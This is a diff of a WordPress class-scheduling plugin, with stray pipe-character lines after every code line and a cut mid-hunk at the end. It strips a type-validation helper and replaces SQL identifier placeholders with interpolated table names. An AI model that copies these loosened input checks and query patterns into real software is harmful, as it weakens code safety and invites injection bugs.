use Unsupervised\Schedular\Payment\PaymentService;
|
use Unsupervised\Schedular\Payment\PaymentService;
|
||||||
use Unsupervised\Schedular\Policy\PolicyAcceptance;
|
use Unsupervised\Schedular\Policy\PolicyAcceptance;
|
||||||
use Unsupervised\Schedular\Registration\RegistrationGate;
|
use Unsupervised\Schedular\Registration\RegistrationGate;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class EnrollmentEndpoint {
|
class EnrollmentEndpoint {
|
||||||
|
|
||||||
@@ -21,11 +20,6 @@ class EnrollmentEndpoint {
|
|||||||
private PaymentService $payments,
|
private PaymentService $payments,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers this endpoint's REST routes.
|
|
||||||
*
|
|
||||||
* @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
|
|
||||||
*/
|
|
||||||
public function registerRoutes( string $route_namespace ): void {
|
public function registerRoutes( string $route_namespace ): void {
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$route_namespace,
|
$route_namespace,
|
||||||
@@ -75,7 +69,7 @@ class EnrollmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function enroll( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function enroll( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$offeringId = absint( Val::int( $request->get_param( 'offering_id' ) ) );
|
$offeringId = absint( $request->get_param( 'offering_id' ) );
|
||||||
$offering = $this->offerings->findById( $offeringId );
|
$offering = $this->offerings->findById( $offeringId );
|
||||||
|
|
||||||
if ( null === $offering || Offering::KIND_GROUP_CLASS !== $offering->kind ) {
|
if ( null === $offering || Offering::KIND_GROUP_CLASS !== $offering->kind ) {
|
||||||
@@ -93,7 +87,7 @@ class EnrollmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
$answers = $this->answers( $request );
|
$answers = $this->answers( $request );
|
||||||
$acceptedVersionIds = array_values( array_map( static fn( mixed $v ): int => absint( Val::int( $v ) ), (array) $request->get_param( 'accepted_policy_version_ids' ) ) );
|
$acceptedVersionIds = array_map( 'absint', (array) $request->get_param( 'accepted_policy_version_ids' ) );
|
||||||
|
|
||||||
$gateError = $this->gate->validate( $offeringId, $answers, $acceptedVersionIds );
|
$gateError = $this->gate->validate( $offeringId, $answers, $acceptedVersionIds );
|
||||||
if ( $gateError instanceof \WP_Error ) {
|
if ( $gateError instanceof \WP_Error ) {
|
||||||
@@ -139,7 +133,7 @@ class EnrollmentEndpoint {
|
|||||||
private function answers( \WP_REST_Request $request ): array {
|
private function answers( \WP_REST_Request $request ): array {
|
||||||
$out = [];
|
$out = [];
|
||||||
foreach ( (array) $request->get_param( 'answers' ) as $questionId => $value ) {
|
foreach ( (array) $request->get_param( 'answers' ) as $questionId => $value ) {
|
||||||
$out[ (int) $questionId ] = sanitize_text_field( Val::string( $value ) );
|
$out[ (int) $questionId ] = sanitize_text_field( (string) $value );
|
||||||
}
|
}
|
||||||
|
|
||||||
return $out;
|
return $out;
|
||||||
@@ -147,7 +141,7 @@ class EnrollmentEndpoint {
|
|||||||
|
|
||||||
private function clientIp(): ?string {
|
private function clientIp(): ?string {
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP stored verbatim for audit.
|
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP stored verbatim for audit.
|
||||||
$ip = sanitize_text_field( Val::string( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) ) );
|
$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) );
|
||||||
|
|
||||||
return '' !== $ip ? $ip : null;
|
return '' !== $ip ? $ip : null;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ class EnrollmentRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?Enrollment {
|
public function findById( int $id ): ?Enrollment {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Enrollment::fromRow( $row ) : null;
|
return $row ? Enrollment::fromRow( $row ) : null;
|
||||||
@@ -42,8 +42,7 @@ class EnrollmentRepository {
|
|||||||
public function countActiveForOffering( int $offeringId ): int {
|
public function countActiveForOffering( int $offeringId ): int {
|
||||||
return (int) $this->db->get_var(
|
return (int) $this->db->get_var(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT COUNT(*) FROM %i WHERE offering_id = %d AND status = %s',
|
"SELECT COUNT(*) FROM {$this->table} WHERE offering_id = %d AND status = %s",
|
||||||
$this->table,
|
|
||||||
$offeringId,
|
$offeringId,
|
||||||
Enrollment::STATUS_ACTIVE
|
Enrollment::STATUS_ACTIVE
|
||||||
)
|
)
|
||||||
@@ -56,8 +55,7 @@ class EnrollmentRepository {
|
|||||||
public function countActiveForStudent( int $studentId ): int {
|
public function countActiveForStudent( int $studentId ): int {
|
||||||
return (int) $this->db->get_var(
|
return (int) $this->db->get_var(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT COUNT(*) FROM %i WHERE student_id = %d AND status = %s',
|
"SELECT COUNT(*) FROM {$this->table} WHERE student_id = %d AND status = %s",
|
||||||
$this->table,
|
|
||||||
$studentId,
|
$studentId,
|
||||||
Enrollment::STATUS_ACTIVE
|
Enrollment::STATUS_ACTIVE
|
||||||
)
|
)
|
||||||
@@ -70,8 +68,7 @@ class EnrollmentRepository {
|
|||||||
public function hasActiveEnrollment( int $offeringId, int $studentId ): bool {
|
public function hasActiveEnrollment( int $offeringId, int $studentId ): bool {
|
||||||
$count = (int) $this->db->get_var(
|
$count = (int) $this->db->get_var(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT COUNT(*) FROM %i WHERE offering_id = %d AND student_id = %d AND status = %s',
|
"SELECT COUNT(*) FROM {$this->table} WHERE offering_id = %d AND student_id = %d AND status = %s",
|
||||||
$this->table,
|
|
||||||
$offeringId,
|
$offeringId,
|
||||||
$studentId,
|
$studentId,
|
||||||
Enrollment::STATUS_ACTIVE
|
Enrollment::STATUS_ACTIVE
|
||||||
@@ -89,8 +86,7 @@ class EnrollmentRepository {
|
|||||||
public function findByStudent( int $studentId ): array {
|
public function findByStudent( int $studentId ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE student_id = %d ORDER BY enrolled_at DESC',
|
"SELECT * FROM {$this->table} WHERE student_id = %d ORDER BY enrolled_at DESC",
|
||||||
$this->table,
|
|
||||||
$studentId
|
$studentId
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
@@ -106,8 +102,7 @@ class EnrollmentRepository {
|
|||||||
public function findByInstructor( int $instructorId ): array {
|
public function findByInstructor( int $instructorId ): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE instructor_id = %d ORDER BY enrolled_at DESC',
|
"SELECT * FROM {$this->table} WHERE instructor_id = %d ORDER BY enrolled_at DESC",
|
||||||
$this->table,
|
|
||||||
$instructorId
|
$instructorId
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
@@ -123,8 +118,7 @@ class EnrollmentRepository {
|
|||||||
public function findAllActive(): array {
|
public function findAllActive(): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE status = %s ORDER BY enrolled_at DESC',
|
"SELECT * FROM {$this->table} WHERE status = %s ORDER BY enrolled_at DESC",
|
||||||
$this->table,
|
|
||||||
Enrollment::STATUS_ACTIVE
|
Enrollment::STATUS_ACTIVE
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -10,16 +10,14 @@ class GroupClassPage {
|
|||||||
/**
|
/**
|
||||||
* Renders the group-class enrolment shortcode output.
|
* Renders the group-class enrolment shortcode output.
|
||||||
*
|
*
|
||||||
* @param array<string> $atts Shortcode attributes (unused — reserved for future options).
|
* @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
|
||||||
*/
|
*/
|
||||||
public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
||||||
if ( ! is_user_logged_in() ) {
|
if ( ! is_user_logged_in() ) {
|
||||||
$permalink = get_permalink();
|
|
||||||
|
|
||||||
return sprintf(
|
return sprintf(
|
||||||
'<p>%s <a href="%s">%s</a>.</p>',
|
'<p>%s <a href="%s">%s</a>.</p>',
|
||||||
esc_html__( 'Please', 'unsupervised-schedular' ),
|
esc_html__( 'Please', 'unsupervised-schedular' ),
|
||||||
esc_url( wp_login_url( false === $permalink ? '' : $permalink ) ),
|
esc_url( wp_login_url( get_permalink() ) ),
|
||||||
esc_html__( 'log in to enrol in a class', 'unsupervised-schedular' )
|
esc_html__( 'log in to enrol in a class', 'unsupervised-schedular' )
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,9 +16,6 @@ class Installer {
|
|||||||
|
|
||||||
private function createTables(): void {
|
private function createTables(): void {
|
||||||
global $wpdb;
|
global $wpdb;
|
||||||
if ( ! $wpdb instanceof \wpdb ) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$charset = $wpdb->get_charset_collate();
|
$charset = $wpdb->get_charset_collate();
|
||||||
|
|
||||||
require_once ABSPATH . 'wp-admin/includes/upgrade.php';
|
require_once ABSPATH . 'wp-admin/includes/upgrade.php';
|
||||||
|
|||||||
+17
-19
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Offering;
|
namespace Unsupervised\Schedular\Offering;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Offering {
|
class Offering {
|
||||||
|
|
||||||
public const KIND_PRIVATE_LESSON = 'private_lesson';
|
public const KIND_PRIVATE_LESSON = 'private_lesson';
|
||||||
@@ -46,24 +44,24 @@ class Offering {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
instructorId: Val::int( $row->instructor_id ),
|
instructorId: (int) $row->instructor_id,
|
||||||
kind: Val::string( $row->kind ),
|
kind: $row->kind,
|
||||||
title: Val::string( $row->title ),
|
title: $row->title,
|
||||||
price: Val::float( $row->price ),
|
price: (float) $row->price,
|
||||||
currency: Val::string( $row->currency ),
|
currency: $row->currency,
|
||||||
billingMode: Val::string( $row->billing_mode ),
|
billingMode: $row->billing_mode,
|
||||||
description: Val::stringOrNull( $row->description ),
|
description: $row->description,
|
||||||
durationMinutes: Val::intOrNull( $row->duration_minutes ),
|
durationMinutes: null !== $row->duration_minutes ? (int) $row->duration_minutes : null,
|
||||||
allowWeekly: Val::bool( $row->allow_weekly ),
|
allowWeekly: (bool) $row->allow_weekly,
|
||||||
capacity: Val::intOrNull( $row->capacity ),
|
capacity: null !== $row->capacity ? (int) $row->capacity : null,
|
||||||
termStart: Val::stringOrNull( $row->term_start ),
|
termStart: $row->term_start,
|
||||||
termEnd: Val::stringOrNull( $row->term_end ),
|
termEnd: $row->term_end,
|
||||||
scheduleNote: Val::stringOrNull( $row->schedule_note ),
|
scheduleNote: $row->schedule_note,
|
||||||
etransferEmail: Val::stringOrNull( $row->etransfer_email ),
|
etransferEmail: $row->etransfer_email,
|
||||||
isActive: Val::bool( $row->is_active ),
|
isActive: (bool) $row->is_active,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Offering;
|
namespace Unsupervised\Schedular\Offering;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class OfferingController {
|
class OfferingController {
|
||||||
|
|
||||||
@@ -32,14 +31,14 @@ class OfferingController {
|
|||||||
private function handleFormAction( int $instructorId, bool $manageAll ): void {
|
private function handleFormAction( int $instructorId, bool $manageAll ): void {
|
||||||
// Nonce is verified by the caller (renderPage) before this method runs.
|
// Nonce is verified by the caller (renderPage) before this method runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
|
$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
|
||||||
|
|
||||||
if ( 'add' === $action ) {
|
if ( 'add' === $action ) {
|
||||||
$this->addOffering( $instructorId );
|
$this->addOffering( $instructorId );
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( 'delete' === $action ) {
|
if ( 'delete' === $action ) {
|
||||||
$offeringId = absint( Val::int( $_POST['offering_id'] ?? 0 ) );
|
$offeringId = absint( $_POST['offering_id'] ?? 0 );
|
||||||
if ( $offeringId > 0 ) {
|
if ( $offeringId > 0 ) {
|
||||||
$offering = $this->repository->findById( $offeringId );
|
$offering = $this->repository->findById( $offeringId );
|
||||||
if ( $offering && ( $manageAll || $offering->instructorId === $instructorId ) ) {
|
if ( $offering && ( $manageAll || $offering->instructorId === $instructorId ) ) {
|
||||||
@@ -52,33 +51,33 @@ class OfferingController {
|
|||||||
|
|
||||||
private function addOffering( int $instructorId ): void {
|
private function addOffering( int $instructorId ): void {
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$title = sanitize_text_field( Val::string( wp_unslash( $_POST['title'] ?? '' ) ) );
|
$title = sanitize_text_field( wp_unslash( $_POST['title'] ?? '' ) );
|
||||||
$kind = sanitize_key( Val::string( wp_unslash( $_POST['kind'] ?? '' ) ) );
|
$kind = sanitize_key( wp_unslash( $_POST['kind'] ?? '' ) );
|
||||||
|
|
||||||
if ( '' === $title || ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
|
if ( '' === $title || ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$billingMode = sanitize_key( Val::string( wp_unslash( $_POST['billing_mode'] ?? Offering::BILLING_ONE_TIME ) ) );
|
$billingMode = sanitize_key( wp_unslash( $_POST['billing_mode'] ?? Offering::BILLING_ONE_TIME ) );
|
||||||
if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
|
if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
|
||||||
$billingMode = Offering::BILLING_ONE_TIME;
|
$billingMode = Offering::BILLING_ONE_TIME;
|
||||||
}
|
}
|
||||||
|
|
||||||
$duration = absint( Val::int( $_POST['duration_minutes'] ?? 0 ) );
|
$duration = absint( $_POST['duration_minutes'] ?? 0 );
|
||||||
$capacity = absint( Val::int( $_POST['capacity'] ?? 0 ) );
|
$capacity = absint( $_POST['capacity'] ?? 0 );
|
||||||
|
|
||||||
$this->repository->insert(
|
$this->repository->insert(
|
||||||
new Offering(
|
new Offering(
|
||||||
instructorId: $instructorId,
|
instructorId: $instructorId,
|
||||||
kind: $kind,
|
kind: $kind,
|
||||||
title: $title,
|
title: $title,
|
||||||
price: max( 0.0, (float) sanitize_text_field( Val::string( wp_unslash( $_POST['price'] ?? '0' ) ) ) ),
|
price: max( 0.0, (float) sanitize_text_field( wp_unslash( $_POST['price'] ?? '0' ) ) ),
|
||||||
billingMode: $billingMode,
|
billingMode: $billingMode,
|
||||||
durationMinutes: $duration > 0 ? $duration : null,
|
durationMinutes: $duration > 0 ? $duration : null,
|
||||||
allowWeekly: isset( $_POST['allow_weekly'] ),
|
allowWeekly: isset( $_POST['allow_weekly'] ),
|
||||||
capacity: $capacity > 0 ? $capacity : null,
|
capacity: $capacity > 0 ? $capacity : null,
|
||||||
scheduleNote: $this->nullableText( sanitize_text_field( Val::string( wp_unslash( $_POST['schedule_note'] ?? '' ) ) ) ),
|
scheduleNote: $this->nullableText( sanitize_text_field( wp_unslash( $_POST['schedule_note'] ?? '' ) ) ),
|
||||||
etransferEmail: $this->nullableText( sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) ) ),
|
etransferEmail: $this->nullableText( sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) ),
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|||||||
@@ -4,17 +4,11 @@ declare(strict_types=1);
|
|||||||
namespace Unsupervised\Schedular\Offering;
|
namespace Unsupervised\Schedular\Offering;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Auth\RoleManager;
|
use Unsupervised\Schedular\Auth\RoleManager;
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class OfferingEndpoint {
|
class OfferingEndpoint {
|
||||||
|
|
||||||
public function __construct( private OfferingRepository $repository ) {}
|
public function __construct( private OfferingRepository $repository ) {}
|
||||||
|
|
||||||
/**
|
|
||||||
* Registers this endpoint's REST routes.
|
|
||||||
*
|
|
||||||
* @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
|
|
||||||
*/
|
|
||||||
public function registerRoutes( string $route_namespace ): void {
|
public function registerRoutes( string $route_namespace ): void {
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$route_namespace,
|
$route_namespace,
|
||||||
@@ -63,8 +57,8 @@ class OfferingEndpoint {
|
|||||||
|
|
||||||
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
public function index( \WP_REST_Request $request ): \WP_REST_Response {
|
||||||
$offerings = $this->repository->findAll(
|
$offerings = $this->repository->findAll(
|
||||||
Val::int( $request->get_param( 'instructor_id' ) ),
|
(int) $request->get_param( 'instructor_id' ),
|
||||||
Val::string( $request->get_param( 'kind' ) ),
|
(string) $request->get_param( 'kind' ),
|
||||||
activeOnly: true,
|
activeOnly: true,
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -73,17 +67,17 @@ class OfferingEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$title = sanitize_text_field( Val::string( $request->get_param( 'title' ) ) );
|
$title = sanitize_text_field( (string) $request->get_param( 'title' ) );
|
||||||
if ( '' === $title ) {
|
if ( '' === $title ) {
|
||||||
return $this->invalid( __( 'A title is required.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'A title is required.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$kind = Val::string( $request->get_param( 'kind' ) );
|
$kind = (string) $request->get_param( 'kind' );
|
||||||
if ( ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
|
if ( ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
|
||||||
return $this->invalid( __( 'Invalid offering kind.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Invalid offering kind.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$billingMode = Val::string( $request->get_param( 'billing_mode' ) ?? Offering::BILLING_ONE_TIME );
|
$billingMode = (string) ( $request->get_param( 'billing_mode' ) ?? Offering::BILLING_ONE_TIME );
|
||||||
if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
|
if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
|
||||||
return $this->invalid( __( 'Invalid billing mode.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Invalid billing mode.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
@@ -93,7 +87,7 @@ class OfferingEndpoint {
|
|||||||
kind: $kind,
|
kind: $kind,
|
||||||
title: $title,
|
title: $title,
|
||||||
price: $this->price( $request->get_param( 'price' ) ),
|
price: $this->price( $request->get_param( 'price' ) ),
|
||||||
currency: sanitize_text_field( Val::string( $request->get_param( 'currency' ) ?? 'CAD' ) ),
|
currency: sanitize_text_field( (string) ( $request->get_param( 'currency' ) ?? 'CAD' ) ),
|
||||||
billingMode: $billingMode,
|
billingMode: $billingMode,
|
||||||
description: $this->nullableText( $request->get_param( 'description' ) ),
|
description: $this->nullableText( $request->get_param( 'description' ) ),
|
||||||
durationMinutes: $this->nullableInt( $request->get_param( 'duration_minutes' ) ),
|
durationMinutes: $this->nullableInt( $request->get_param( 'duration_minutes' ) ),
|
||||||
@@ -112,7 +106,7 @@ class OfferingEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function update( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function update( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$id = absint( Val::int( $request->get_param( 'id' ) ) );
|
$id = absint( $request->get_param( 'id' ) );
|
||||||
$existing = $this->repository->findById( $id );
|
$existing = $this->repository->findById( $id );
|
||||||
|
|
||||||
if ( null === $existing ) {
|
if ( null === $existing ) {
|
||||||
@@ -123,12 +117,12 @@ class OfferingEndpoint {
|
|||||||
return new \WP_Error( 'forbidden', __( 'You cannot edit this offering.', 'unsupervised-schedular' ), [ 'status' => 403 ] );
|
return new \WP_Error( 'forbidden', __( 'You cannot edit this offering.', 'unsupervised-schedular' ), [ 'status' => 403 ] );
|
||||||
}
|
}
|
||||||
|
|
||||||
$kind = $request->has_param( 'kind' ) ? Val::string( $request->get_param( 'kind' ) ) : $existing->kind;
|
$kind = $request->has_param( 'kind' ) ? (string) $request->get_param( 'kind' ) : $existing->kind;
|
||||||
if ( ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
|
if ( ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
|
||||||
return $this->invalid( __( 'Invalid offering kind.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Invalid offering kind.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
|
|
||||||
$billingMode = $request->has_param( 'billing_mode' ) ? Val::string( $request->get_param( 'billing_mode' ) ) : $existing->billingMode;
|
$billingMode = $request->has_param( 'billing_mode' ) ? (string) $request->get_param( 'billing_mode' ) : $existing->billingMode;
|
||||||
if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
|
if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
|
||||||
return $this->invalid( __( 'Invalid billing mode.', 'unsupervised-schedular' ) );
|
return $this->invalid( __( 'Invalid billing mode.', 'unsupervised-schedular' ) );
|
||||||
}
|
}
|
||||||
@@ -136,9 +130,9 @@ class OfferingEndpoint {
|
|||||||
$offering = new Offering(
|
$offering = new Offering(
|
||||||
instructorId: $existing->instructorId,
|
instructorId: $existing->instructorId,
|
||||||
kind: $kind,
|
kind: $kind,
|
||||||
title: $request->has_param( 'title' ) ? sanitize_text_field( Val::string( $request->get_param( 'title' ) ) ) : $existing->title,
|
title: $request->has_param( 'title' ) ? sanitize_text_field( (string) $request->get_param( 'title' ) ) : $existing->title,
|
||||||
price: $request->has_param( 'price' ) ? $this->price( $request->get_param( 'price' ) ) : $existing->price,
|
price: $request->has_param( 'price' ) ? $this->price( $request->get_param( 'price' ) ) : $existing->price,
|
||||||
currency: $request->has_param( 'currency' ) ? sanitize_text_field( Val::string( $request->get_param( 'currency' ) ) ) : $existing->currency,
|
currency: $request->has_param( 'currency' ) ? sanitize_text_field( (string) $request->get_param( 'currency' ) ) : $existing->currency,
|
||||||
billingMode: $billingMode,
|
billingMode: $billingMode,
|
||||||
description: $request->has_param( 'description' ) ? $this->nullableText( $request->get_param( 'description' ) ) : $existing->description,
|
description: $request->has_param( 'description' ) ? $this->nullableText( $request->get_param( 'description' ) ) : $existing->description,
|
||||||
durationMinutes: $request->has_param( 'duration_minutes' ) ? $this->nullableInt( $request->get_param( 'duration_minutes' ) ) : $existing->durationMinutes,
|
durationMinutes: $request->has_param( 'duration_minutes' ) ? $this->nullableInt( $request->get_param( 'duration_minutes' ) ) : $existing->durationMinutes,
|
||||||
@@ -158,7 +152,7 @@ class OfferingEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
|
||||||
$id = absint( Val::int( $request->get_param( 'id' ) ) );
|
$id = absint( $request->get_param( 'id' ) );
|
||||||
$existing = $this->repository->findById( $id );
|
$existing = $this->repository->findById( $id );
|
||||||
|
|
||||||
if ( null === $existing ) {
|
if ( null === $existing ) {
|
||||||
@@ -201,17 +195,17 @@ class OfferingEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private function price( mixed $value ): float {
|
private function price( mixed $value ): float {
|
||||||
return max( 0.0, Val::float( $value ) );
|
return max( 0.0, (float) $value );
|
||||||
}
|
}
|
||||||
|
|
||||||
private function nullableEmail( mixed $value ): ?string {
|
private function nullableEmail( mixed $value ): ?string {
|
||||||
$email = sanitize_email( Val::string( $value ) );
|
$email = sanitize_email( (string) $value );
|
||||||
|
|
||||||
return '' !== $email ? $email : null;
|
return '' !== $email ? $email : null;
|
||||||
}
|
}
|
||||||
|
|
||||||
private function nullableInt( mixed $value ): ?int {
|
private function nullableInt( mixed $value ): ?int {
|
||||||
return ( null === $value || '' === $value ) ? null : Val::int( $value );
|
return ( null === $value || '' === $value ) ? null : (int) $value;
|
||||||
}
|
}
|
||||||
|
|
||||||
private function nullableText( mixed $value ): ?string {
|
private function nullableText( mixed $value ): ?string {
|
||||||
@@ -219,6 +213,6 @@ class OfferingEndpoint {
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
return sanitize_text_field( Val::string( $value ) );
|
return sanitize_text_field( (string) $value );
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -90,18 +90,18 @@ class OfferingRepository {
|
|||||||
}
|
}
|
||||||
|
|
||||||
$whereClause = implode( ' AND ', $where );
|
$whereClause = implode( ' AND ', $where );
|
||||||
$sql = "SELECT * FROM %i WHERE {$whereClause} ORDER BY title ASC";
|
$sql = "SELECT * FROM {$this->table} WHERE {$whereClause} ORDER BY title ASC";
|
||||||
|
|
||||||
$rows = $this->db->get_results(
|
$rows = $params
|
||||||
$this->db->prepare( $sql, array_merge( [ $this->table ], $params ) )
|
? $this->db->get_results( $this->db->prepare( $sql, $params ) )
|
||||||
);
|
: $this->db->get_results( $sql );
|
||||||
|
|
||||||
return array_map( Offering::fromRow( ... ), $rows ?? [] );
|
return array_map( Offering::fromRow( ... ), $rows ?? [] );
|
||||||
}
|
}
|
||||||
|
|
||||||
public function findById( int $id ): ?Offering {
|
public function findById( int $id ): ?Offering {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Offering::fromRow( $row ) : null;
|
return $row ? Offering::fromRow( $row ) : null;
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Payment;
|
namespace Unsupervised\Schedular\Payment;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Resolves the billing method for a student: a per-student override if set,
|
* Resolves the billing method for a student: a per-student override if set,
|
||||||
* otherwise the studio default — card when Stripe is configured, e-transfer when
|
* otherwise the studio default — card when Stripe is configured, e-transfer when
|
||||||
@@ -17,7 +15,7 @@ class BillingMethodResolver {
|
|||||||
public function __construct( private StudioSettings $settings ) {}
|
public function __construct( private StudioSettings $settings ) {}
|
||||||
|
|
||||||
public function resolve( int $studentId ): string {
|
public function resolve( int $studentId ): string {
|
||||||
$override = Val::string( get_user_meta( $studentId, self::META_METHOD, true ) );
|
$override = (string) get_user_meta( $studentId, self::META_METHOD, true );
|
||||||
if ( in_array( $override, Payment::VALID_METHODS, true ) ) {
|
if ( in_array( $override, Payment::VALID_METHODS, true ) ) {
|
||||||
return $override;
|
return $override;
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-19
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Payment;
|
namespace Unsupervised\Schedular\Payment;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Payment {
|
class Payment {
|
||||||
|
|
||||||
public const METHOD_CARD = 'card';
|
public const METHOD_CARD = 'card';
|
||||||
@@ -52,24 +50,24 @@ class Payment {
|
|||||||
